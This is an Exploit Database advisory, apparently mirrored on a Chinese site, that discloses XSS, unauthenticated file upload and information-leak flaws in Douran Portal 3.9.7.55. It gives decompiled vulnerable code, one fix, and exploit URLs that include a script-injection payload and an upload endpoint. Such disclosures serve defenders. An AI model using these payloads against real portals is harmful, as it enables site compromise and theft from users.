douran portal 3.9.7.55 – Multiple Vulnerabilities

• Exploit Database
• 36 阅读

• 作者： ITSecTeam
  日期： 2010-11-01
• 类别：

  • webapps
  平台：

  • asp
• 来源：https://www.exploit-db.com/exploits/15382/

• ===========================================================
  [+] Douran Portal <= V3.9.7.55 Multiple Remote Vulnerabilities
  ===========================================================
  [+] Author : ItSecTeam
  [+] Contact : Bug@itsecteam.com
  [+] Site : www.itsecteam.com
  [+] Forum : http://forum.itsecteam.com/
  [+] Thanks : Amin Shokohi (Pejvak!) , homay
  ~~~~~~~~~~~~~~~~[Information]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  [+] Web App : Douran Portal
  [+] Version : Worked In Last Version (V3.9.7.55) And Prior
  [+] Software: http://www.douran.com
  [+][+][+][+][+][+][+](Vulnerabilities)[+][+][+][+][=][+][+]
  
  [1] Xss None Present :
  [~] Poc :
  Douran.dll:DouranPortal.DesktopModules.OrderForm
  private void Page_Load(object sender, EventArgs e)
  {
  this.lblTitle.Text = Localize.GetString("ORDER_FOR", "Order form for")
  + " " + base.Request.QueryString["ItemTitle"];
  }
  Print Request.QueryString["ItemTitle"] Without Check
  [~] Secure :
  private void Page_Load(object sender, EventArgs e)
  {
  this.lblTitle.Text = Localize.GetString("ORDER_FOR", "Order form for")
  + " " + CheckString(base.Request.QueryString["ItemTitle"]);
  }
  [-] End Poc
  [#] Exploit :
  http://Site.Com/DesktopModules/Gallery/OrderForm.aspx?itemtitle=<script>alert('ITSecTeam')</script>
  
  
  [2] Remote File Upload :
  [Note] : Worked In Older 3.8.2.2
  [~] Poc :
  You Can Upload Your File Without Check Authorization
  You Can Upload :
  string acceptedFiles =
  ";.jpg;.jpeg;.jpe;.gif;.bmp;.png;.swf;.avi;.ra;.mov;.mpeg;.mpg;.wav;";
  You Can Bypass
  [-] End Poc
  [#] Exploit :http://Site.Com/DesktopModules/ftb/ftb.imagegallery.aspx[*]
  
  
  [3] Information Leakage Show Device Info :
  http://Site.Com/security/DeviceInfo.aspx
  
  [4] Xss Present :
  http://Site.Com/security/DeviceInfo.aspx
  [~] Poc :
  Douran.dll:DouranPortal.DesktopModules.BlogDB
  Submit Data Without Check{
  blogDB.AddBlogComment(ModuleID, ItemID,
  this.txtName.Text,this.txtTitle.Text, this.txtURL.Text,
  this.txtComments.Text);
  }
  public void AddBlogComment(int moduleID, int itemID, string name, string
  title, string url, string comment)
  {
  if (name.Length < 1)
  {
  name = "unknown";
  }
  if (title.Length > 100)
  {
  title = title.Substring(0, 100);
  }
  if (name.Length > 100)
  {
  name = name.Substring(0, 100);
  }
  if (url.Length > 200)
  {
  url = url.Substring(0, 200);
  }
  SqlConnection sqlConnectionString = PortalSettings.SqlConnectionString;
  SqlCommand command = new SqlCommand("dp_BlogCommentAdd",
  sqlConnectionString);
  command.CommandType = CommandType.StoredProcedure;
  SqlParameter parameter = new SqlParameter("@ModuleID", SqlDbType.Int, 4);
  parameter.Value = moduleID;
  command.Parameters.Add(parameter);
  SqlParameter parameter2 = new SqlParameter("@ItemID", SqlDbType.Int, 4);
  parameter2.Value = itemID;
  command.Parameters.Add(parameter2);
  SqlParameter parameter3 = new SqlParameter("@Name",
  SqlDbType.NVarChar, 100);
  parameter3.Value = name;
  command.Parameters.Add(parameter3);
  SqlParameter parameter4 = new SqlParameter("@Title",
  SqlDbType.NVarChar, 100);
  parameter4.Value = title;
  command.Parameters.Add(parameter4);
  SqlParameter parameter5 = new SqlParameter("@URL", SqlDbType.NVarChar,
  200);
  parameter5.Value = url;
  command.Parameters.Add(parameter5);
  SqlParameter parameter6 = new SqlParameter("@Comment", SqlDbType.NText);
  parameter6.Value = comment;
  command.Parameters.Add(parameter6);
  sqlConnectionString.Open();
  command.ExecuteNonQuery();
  sqlConnectionString.Close();}
  	[-] End Poc
  [#] Exploit :http://Site.Com/DesktopModules/Blog/BlogView.aspx
  [-][-][-][-][-][-][-](Vulnerabilities)[-][-][-][-][-][-][-]
  
  ~~~~~~~~~~~~~~~~[Vulnerabilities]~~~~~~~~~~~~~~~~~~~~~~~~~~~~